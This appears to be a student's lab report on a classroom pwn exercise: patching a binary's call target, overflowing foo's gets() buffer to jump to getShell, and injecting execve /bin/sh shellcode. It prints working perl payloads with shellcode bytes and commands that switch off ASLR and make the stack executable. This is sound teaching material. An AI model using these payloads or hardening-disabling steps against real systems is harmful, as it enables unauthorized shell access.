20211903 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

2.实践过程

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

首先将云班课中的pwn1文件下载到kali攻击机中。

在终端中进入pwn1可执行文件所在的文件夹,使用指令objdump -d pwn1 | more 查看pwn1文件的详细工作流程,反编译查看它的汇编语言代码。

可以在代码中找到foo、getShell、和main函数,并可以在main函数中可以看到,在080484b2这个存储单元存储的代码中,转到了foo函数,如果想实现程序跳转到getShell函数中,可以将这一行指定的跳转到的存储单元改为getShell第一行代码所在的存储单元,即0804847d。

因为foo函数的首行存储单元08048491与getShell首行存储单元08048491相减差为14,有网上搜索可得call指令要跳转的绝对位置=call指令或跳转指令的下一条指令的地址-eip指针存储的内存地址,在文中即体现为080484ba-08048491=ffffffd7,与之前代码中的e8d7ffffff相对应,所以ffffffd7-14=ffffffc3,所以应把08484b5这一行的e8d7ffffff改为e8c3ffffff,即可将跳转到foo函数的程序改到跳转至getShell函数。
经过计算后,得到需要修改的内容。使用vim pwn1指令编辑pwn1文件,因为初始为ascii码显示,所以需要输入:%!xxd转换为16进制输出。

通过以上分析,只需要将此处的d7改为c3,即可实现更改,再更改后使用:%!xxd -r指令保存更改并还原原格式。


再次objdump -d pwn1 | more,反编译pwn1文件,看看是否已经更改跳转方向,由图中可知已经修改跳转成功,已修改为0804847d,所以可知第一个实验内容完成。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

此次任务的目的是构造一个用户输入的字符串,利用foo中的gets函数的不检测用户输入字符串长度的特性来实现缓冲区溢出的漏洞,将foo函数的返回地址进行覆盖,从而将程序跳转到getShell函数的首行。
关于计算字符串缓冲区长度,非常感谢学号为20155110的老学长,给出了foo函数栈的示意图,所以字符串缓冲区长度为28字节,再加上%ebp和 RET_ARRR各四个字节,所以至少需要36个字节长度的字符串,且只需要在乎最后四个字节的输入内容,前32个字节可以随意输入。

首先安装gbk环境。

通过info r指令查看指令寄存器详细信息。

根据云班课的视频输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 指令生成input文件,并通过xxd input命令查看其16进制信息。

使用(cat input; cat ) | ./pwn2命令实现将input文件作为pwn2文件的输入,在输入ls,可观察得覆盖成功,执行getShell函数。

  1. 注入一个自己制作的shellcode并运行这段shellcode。

首先先安装execstack并使用execstack -s pwn3命令将pwn3文件设置为堆栈可执行。

使用echo "0" > /proc/sys/kernel/randomize_va_space指令,关闭地址随机化,并通过more /proc/sys/kernel/randomize_va_space指令验证。


根据云班课中视频生成内容如下的输入程序。
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

使用(cat input_shellcode;cat) | ./pwn3 命令来将input_shellcode的命令输入到pwn3文件中去,运行pwn3程序。

打开另一个终端,输入ps -ef | grep pwn3指令,查看pwn3运行的进程号。

通过查询到的进程和806868来调试806868这个进程。

输入指令disassemble foo来对foo函数的汇编地址进行获取,并在最后一行获取到ret地址为0*080484ae。

通过指令break *0x080484ae在ret函数处设置断点。

在终端中输入c指令,遇到断点停止运行。

使用info r esp指令查看栈顶元素,并通过x/16x 0xffffd51c指令查看xcffffd51c地址所存放的数据。

输入指令x/16x 0xffffd520(d51c+4=d520)来查看该地址数据,得知其为shellcode内容。

使用修正后的指令perl -e 'print "A" x 32;print "\x20\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,再次保存为输入程序。

再次使用指令(cat input_shellcode;cat) | ./pwn3,在输入ls,查看到目录信息,可得知shellcode注入成功。

3.学习中遇到的问题及解决

  • 问题1:在gdb中输入r时出现During startup program exited with code 126.错误;
  • 问题1解决方案:使用chmod u+x pwn2命令获得权限。
  • 问题2:安装execstack显示找不到安装包;
  • 问题2解决方案:在官网下载相应deb文件使用sudo apt-get install ./execstack_0.0.20131005-1+b10_amd64.deb 命令安装。
  • 问题3:实验三注入不成功,显示管道被破坏;
  • 问题3解决方案:重新调试后可实现注入。

4.实践总结

本次实验综合性较强,因在汇编语言等方面均有涉及,所以学习参考了很多本科和19级研究生写的博客园,理解了一下他们写的实践内容,基本了解了在此次试验中所需要的理论知识。此次实验总体难度不大,但是会出现各种各样的小问题,但都在百度和参考其他同学的博客园后得到解决,也在实践方面有很大收获。

posted @ 2022-05-09 20:55  lollipop0204  阅读(60)  评论(0编辑  收藏  举报